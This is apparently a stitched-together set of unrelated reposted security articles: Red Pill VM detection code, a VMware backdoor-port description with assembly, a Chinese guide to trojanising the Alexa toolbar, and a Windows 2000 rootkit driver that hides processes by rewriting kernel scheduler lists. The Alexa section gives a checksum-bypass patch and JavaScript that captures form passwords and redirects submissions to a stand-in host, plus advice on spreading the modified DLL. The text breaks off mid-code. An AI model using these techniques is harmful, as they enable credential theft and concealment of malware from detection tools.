How To Detect VMM Using (Almost) One CPU Instruction
Added by: A^C^E
Date: 18.11.04
Time: 08:52:13
Category: Article
Source: http://www.securiteam.com/securityreviews/6Z00H20BQS.html
Summary
The attached short (4 lines of code, that generate almost a single CPU instruction) exploit code can be used to detect whether the code is executed under a VMM or under a real environment. In addition to the exploit code, a detailed explanation of how this was found and why it works are also provided.
Details
Swallowing the Red Pill is more or less equivalent to the following code (returns non zero when in Matrix):
int swallow_redpill () {
unsigned char m[2+4], rpill[] = “\x0f\x01\x0d\x00\x00\x00\x00\xc3″;
*((unsigned*)&rpill[3]) = (unsigned)m;
((void(*)())&rpill)();
return (m[5]>0xd0) ? 1 : 0;
}
The heart of this code is actually the SIDT instruction (encoded as 0F010D[addr]), which stores the contents of the interrupt descriptor table register (IDTR) in the destination operand, which is actually a memory location. What is special and interesting about SIDT instruction is that, it can be executed in non privileged mode (ring3) but it returns the contents of the sensitive register, used internally by operating system.
Because there is only one IDTR register, but there are at least two OS running concurrently (i.e. the host and the guest OS), VMM needs to relocate the guest’s IDTR in a safe place, so that it will not conflict with a host’s one. Unfortunately, VMM cannot know if (and when) the process running in guest OS executes SIDT instruction, since it is not privileged (and it doesn’t generate exception). Thus the process gets the relocated address of IDT table. It was observed that on VMWare, the relocated address of IDT is at address 0xffXXXXXX, whereas on Virtual PC it is 0xe8XXXXXX. This was tested on VMWare Workstation 4 and Virtual PC 2004, both running on Windows XP host OS.
Joanna Rutkowska came across this strange behavior of SIDT instruction a few years ago, when Joanna Rutkowska was testing Suckit rootkit on VMWare. Joanna Rutkowska noticed that it failed to load on VMWare whereas it seemed to work fine on the same distribution ran outside VM. After spending many hours Joanna Rutkowska figured out that the problematic instruction was actually SIDT, which was used by Suckit to get the address of the IDT table, and to hook its 0×80 entry through /dev/kmem device.
However, Joanna Rutkowska was not the first one who discovered this trick. Shortly after her adventure with Suckit Joanna Rutkowska found a very good USENIX paper about problems when implementing Virtual Machines on Intel processors, discussing of course SIDT problem, as well as many others.
So now, here is the simple code, written in C, which should compile on any all Intel based OS. Just in case you don’t have the C compiler for Windows, there is also a binary version attached.
NOTE: This program will fail on systems with PAX/X^W/grsecurity, protection (as it was pointed out by Brad Spengler) since the rpill variable is not marked as executable. To make it run in such systems, mprotect() should be used to mark rpill with PROT_EXEC attribute. Another solution would be to just use asm() keyword instead of shellcode-like buffer. However, this program should be rather considered as a skeleton to build into your own shellcode, rather then standalone production class tool. In addition, Joanna’s goal was to make it as simple and portable as possible. That’s why Joanna didn’t use asm() nor mprotect() since they are system or compiler dependent.
Joanna is also aware of another implementation of this technique, as well as some other tricks to fingerprint VMWare, which can be found at http://www.trapkit.de/.
(原文由coolq发表,文章转载自他的博客)
后门简介
Vmware 后门是 vmware 和 vmware tools 通信的一个接口。例如,vmware-checkvm 程序就是利用这个后门检测自己是否运行在 vmware 里。
这个后门开在 IO 端口 0×5658。利用这个后门时,必需:
l EAX = 0×564D5868 ( “VMXh” )
l EBX 为参数,一般不用。
l ECX 低 16 位为功能号。其实是一个函数数组的索引。Vmware 调用对应的函数处理后门请求。 这个函数数组共有
l 36 个元素,但某些没有定义。ECX 的高 16 位为功能参数。
l EDX = 0×5658 ( “VX” ),为 IO 端口号。
通过读端口 (in) 命令调用后门。
后门详细描述
0 未定义
1 getMhz 得到 CPU 速率
2 APM 函数族
3 getDiskGeo
4 getPtrLocation
5 setPtrLocation
6 得到宿主机剪贴板数据长度
7 读宿主机剪贴板数据
8 设置宿主机剪贴板数据长度
9 向宿主机剪贴板写数据
10 得到 vmware 版本
11 取设备信息
12 连接或断开设备
13 取 GUI 配置信息
14 设置 GUI 配置信息
15 取宿主机屏幕分辨率
16 未定义
17 未定义
18 osNotFound, vmware 提示插入引导盘
19 GetBiosUUID
20 取虚拟机内存大小
21 未定义
22 OS2 系统用到的一个函数
23 getTime,取宿主机时间
24 stopCatchup
25 未定义
26 未定义
27 未定义
28 initScsiIoprom
29 未定义
30 Message,通道函数族
31 rsvd0
32 rsvd1
33 rsvd2
34 ACPID 函数
35 未定义
应用
vmcall.s
vmcall.s 为 vm.c 提供 vmcall(uint32_t out[4],int cmd,uint32_t param) 函数,实现调用后门功能
.text
.align 2
.globl vmcall
.type vmcall,@function
vmcall:
pushl %ebp
movl %esp, %ebp
movl 0×8(%ebp),%eax
push %edi
push %ebx
push %ecx
push %edx
mov %eax,%edi
mov $0×564d5868,%edx
mov %edx,%eax
mov 0xc(%ebp),%edx
mov 0×10(%ebp),%ebx
mov %edx,%ecx
mov $0×5658,%edx
in (%dx),%eax
mov %eax,0×0(%edi)
mov %ebx,0×4(%edi)
mov %ecx,0×8(%edi)
pop %edx
奇怪,被截断了。
pop %ecx
pop %ebx
pop %edi
leave
ret
vm.c
vm.c 为主程序。命令行参数为后门功能号
#include <stdio.h>
#include <signal.h>
#include <stdint.h>
extern uint32_t vmcall(uint32_t buf[4],int func,uint32_t arg);
void segfault(int seg)
{
fprintf(stderr,”vmcall failed\n”);
_exit(1);
}
int main(int argc,char **argv)
{
int i;
uint32_t buf[4];
int cmd;
if (argc == 1)
{
puts(“arg…….”);
return 1;
}
cmd = atoi(argv[1]);
signal(SIGSEGV,segfault);
memset(buf,0,sizeof(buf));
vmcall(buf,cmd,0);
printf(“%x: %x-%x-%x-%x\n”,cmd,buf[0],buf[1],buf[2],buf[3]);
return 0;
}
举例
编译: gcc –g –o vm vm.c vmcall.s
1. 1 号调用取 CPU 速率
$ ./vm 1
1: 69f-0-1-0
69f 十进制 1695,CPU 速率为 1695Mhz
2. 10 号调用取 vmware 版本,也用来判断是否运行在 vmware 里。
$ ./vm 10
a: 6-564d5868-4-0
6 是 vmware 版本号。注意这和 about 里看到的不同。4 表示是 vmware workstation,其它可能取值有:
2 ESX Server
1 Express
3 GSX Server
3. 15 号调用取宿主机屏幕分辨率
$ ./vm 15
f: 4000300-0-f-0
分辨率是 0×400 * 0×300,即 1024 * 768
4. 28 号调用 vmware 的实现有问题,导致我的 vmware workstation 4.0.0.4460 立刻崩溃。原因Vmware 试图去读 0×14 的内存地址,不过因为没有用户输入,无法利用。
附录:分析工具和环境
Vmware 4.0.0.4460 和 vmware 4.0.5.6030。宿主机 Windows 2003 Standard。
GuestOS RedHat 8 (Kernel 2.6.2, gcc 3.2)。
IDApro 用于静态分析,OllyDBG 用于动态调试。
静态分析 vmware-checkvm 程序发现这个后门。
静态分析 + 动态调试得到各功能信息。
虽然这篇文章和Alexa排名并没有直接关系,但我还是把它归到“Alexa 排名研究”。很久以前我曾在Xfocus的论坛上发表过这种想法,但是没人关心,不知道是不是大家都不屑于这种“木马”的制作方法。当然,采用本文的方法也可以实现一种比较原始的Alexa作弊方式,具体步骤我不想细说。如果你真的看明白这篇文章再说什么,自然就会知道如何使用这种作弊手段了。这篇文章就当是作为一个“剩蛋节”礼物送给大家,祝大家“生蛋快乐”。
正文:
Alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。Alexa通过在客户端安装Alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对全球网站进行排名,类似于电视收视率的统计。Alexa工具条是一种类似于Google工具条的IE插件,你可以在下面URL中下载:http://download.alexa.com/index.cgi。
一、Alexa工具条的工作原理
Alexa工具条是一种基于BHO和Toolbar Bands技术的一种IE插件。它以DLL文件的形式存在于系统中,是一种COM组件,IE会在运行时将其加载到自身进程中去,所以一般情况下防火墙是无法禁止该软件访问网络的,这就为他的木马角色提供了先天的便利,而且比本机Sniff软件收集密码的优势是:无论是HTTP还是HTTPS的网站,不管通信通道是否加密,只要是IE页面的表单都能收集到。具体原理可以参考《关于Alexa排名作弊的一些解惑》(http://www.donews.net/tabris17/archive/2004/09/20/104018.aspx)
系统在安装了Alexa工具条后,会在系统目录下生成AlxTB1.dll和AlxRes.dll两个DLL文件(有些情况下是AlxTB2.dll,而不是AlxTB1.dll。那是因为Alexa工具条会自动上网更新的原因)。Alexa工具条的主要二进制代码存在于AlxTB1.dll文件中,这个文件同时也被注册成多个COM组件,他完成了BHO和Toolbar Bands的COM接口,并将IE的WebBrowser控件封装为一个COM组件供AlxRes.dll调用。AlxRes.dll文件仅包含少量的二进制代码,大量的代码是HTML和JavaScript代码,他们以资源的形式存在于AlxRes.dll文件中,你可以通过res://AlxRes.dll/CHTML/about.html这样的URL来访问这些资源。也许你会奇怪:又不是做网站,为什么软件的代码会是JavaScript写的?这就是Alexa工具条垃圾的地方。Alexa工具条的主界面是由HTML+JAVASCRIPT实现的。这些JAVASCRIPT代码通过调用AlxTB1.dll实现的COM接口来实现软件的全部功能。这样做不仅导致软件的效率低下,而且产生大量的资源泄漏,绝对是一种VERY超级SB的开发模式,但是却为我们修改Alexa工具条的功能提供了方便——根本不需要CRACKER知识,只要一个PE资源修改工具就可以对Alexa工具条的代码进行修改了。
二、破解Alexa工具条
当然,Alexa也不是真傻,绝对不会蠢到让自己的代码被你用资源修改工具随便改。为了防止AlxRes.dll中的资源被随意修改,他采取了计算文件校验和的保护方法,要是发现文件被修改,就会拒绝加载。我们在修改代码前,必须破解这种保护机制。
AlxTB1.dll导出一个名叫ChecksumResources的函数,这个函数就是用来计算文件校验和的。用c32asm反汇编AlxRes.dll文件,查看字符串调用列表,找到”ChecksumResources”字符串,跳转到调用该字符串的代码,于100017C0处。往下翻几行,在100017F6处找到一句跳转,采用爆破方式,用NOP指令覆盖JNZ指令即可。通俗点讲:就是将AlxRes.dll文件偏移”0×17F6″处的两个字节”75 11″改成”90 90″,你可以使用WinHex之类的16进制编辑软件来修改。
::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改这里
现在我们可以毫无顾忌的修改AlxRes.dll中的资源了。可以参考《新版本的 Alexa Toolbar 破解方法》(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)
三、修改Alexa工具条的代码
熟悉IE编程的人都知道,DWebBrowserEvents2接口是用来接收WebBrowser的事件通知的,我们可以在AlxRes.dll的Javascript代码中找到这些些对应的函数。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代码中,有一系列的JAVASCRIPT函数,对应于DWebBrowserEvents2接口的成员,如:DocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我们可以在BeforeNavigate2中截获PostData,但是在AlxRes.dll的代码中,这个接口没有完全实现。在DWebBrowserEvents2接口中的原型是:
void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);
这其中的PostData包含了的Post数据。而BP_onBeforeNavigate的函数原型:
function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);
其中,bPostData只是个BOOL类型的变量。此路不通,必须另想办法。
一般来说,我们在IE中输入的用户名密码都是通过表单提交到服务器的,如果能在表单提交前截获表单的内容就可以实现窃取密码了。在JAVASCRIPT中,只要处理表单的”OnSubmit”事件,就可以先于提交而处理表单的内容。而AlxRes.dll的功能也是由JAVASCRIPT实现的,所以我们就无需面对繁琐的COM接口,而直接使用JAVASCRIPT了。
这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了。
四、截获网页表单的内容
我现在使用的方法有些类似于”跨站点脚本执行漏洞”。先来看看”res://AlxRes.dll/SCRIPT/EVT.CLASS.JS”中的”BP_onDocumentComplete”函数:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的window对象。如果你懂得JAVASCRIPT的话,接下来要做的事情就十分简单了。添加如下代码:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
… …
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].onsubmit=test;
}
}catch(e){}
return false;
}
这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:
function test()
{
try{
window.alert(“I can get the value!”);
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!=”")
{
window.alert(this.elements[i].name+”:”+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}
不过用这种方法存在一点弊端:当表单是通过JavaScript语句”Submit()”提交时,不会产生”OnSubmit”事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
… …
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+”<input name=OriginalAction type=hidden value=’”+oWebBrowser2.document.forms[i].action+”‘>”;
oWebBrowser2.document.forms[i].action=”http://www.faketarget.com/gather.asp“;
}
}catch(e){}
return false;
}
以上的代码对于某些页面存在问题,有时会无法将隐藏字段添加到表单中去。
五、散布和植入木马
以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在”C:\Program Files\Internet Explorer”和”C:\Documents and Settings\[username]\桌面”这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,那可是有一大堆的IE漏洞等着你去Exploit呢,这可不是本文涉及的范围。
安装了Alexa工具条的IE的”User-Agent”会加入”Alexa Toolbar”的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布,这个就扯远了。
六、收集密码
你可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单,最好在AlxRes.dll的代码中对收集的表单数据进行一些检查:
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!=”")
{
if(this.elements[i].type==”password”)
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+”=”+this.elements[i].value+”&”;
}
}
if(IsPwdForm)
{
//表单包含密码文本,进行收集
}
}catch(e){}
return true;
}
七、其他的应用
大多数的网上银行登陆界面是由ActiveX控件实现的,无法截获表单数据,但是我们可以通过”oWebBrowser2″对象来操纵、修改浏览的页面,当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等。
作者:SoBeIt
一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用3条调度链表KiWaitInListHead=0×80482258 、KiWaitOutListhead=0×80482808 、KiDispatcherReadyListHead=0×804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。
首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0×8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个0×804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:
#include “ntddk.h”
#include “ntifs.h”
#include “stdio.h”
#include “stdarg.h”
typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;
VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0×8042d90b, 0×8042db78, 0×8042de57, 0×8042f176, 0×8046443b, 0×80464441, 0×804644d6};
int SysKiWaitOutListHeadAddr[] = {0×8042d921, 0×8042db90, 0×8042de6f, 0×8042f18e, 0×80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0×8046448e, 0×804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0×804041ff, 0×8042faad, 0×804313de, 0×80431568, 0×8043164f, 0×80431672, 0×8043379f, 0×8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0×8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;
pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0×80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0×80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0×804822e0;
pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 * sizeof(LIST_ENTRY));
InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}
KeInitializeSpinLock(&DpcSpinLock);
__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint(“NewWaitIn:%8x”,*(PULONG)ChangeList);
}
pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;
pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint(“NewWaitOut:%8x”,*(PULONG)ChangeList);
}
for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0×4;
DbgPrint(“NewWaitOut+4:%8x”,*(PULONG)ChangeList);
}
for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink != &pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;
pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;
pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}
for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint(“NewDispatcher:%8x”, *(PULONG)ChangeList);
}
ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0×4;
DbgPrint(“NewDispatcher+4:%8x”, *(PULONG)ChangeList);
KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);
for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);
for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}
for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0×5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0×9c);
if(PID == 0×8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
}
for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0×5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0×9c);
if(PID == 0×8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead, &pFakeETHREAD->WaitListEntry);
}
for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry != &pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char *)pEntry)-0×5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char *)pEPROCESS)+0×9c);
if(PID == 0×8)
{
continue;
}
pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}
DbgPrint(“pKiWaitInListHead->Flink:%8x”, pKiWaitInListHead->Flink);
DbgPrint(“pKiWaitInListHead->Blink:%8x”, pKiWaitInListHead->Blink);
DbgPrint(“pKiWaitOutListHead->Flink:%8x”, pKiWaitOutListHead->Flink);
DbgPrint(“pKiWaitOutListHead->Blink:%8x”, pKiWaitOutListHead->Blink);
DbgPrint(“pKiDispatcherReadyListHead[0].Flink:%8x”, pKiDispatcherReadyListHead[0].Flink);
DbgPrint(“pKiDispatcherReadyListHead[0].Blink:%8x”, pKiDispatcherReadyListHead[0].Blink);
Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);
if(Status == STATUS_SUCCESS)
break;
}
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);
pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;
pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;
for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint(“OrgWaitIn:%8x”,*(PULONG)ChangeList);
}
pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;
pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;
pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;
for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
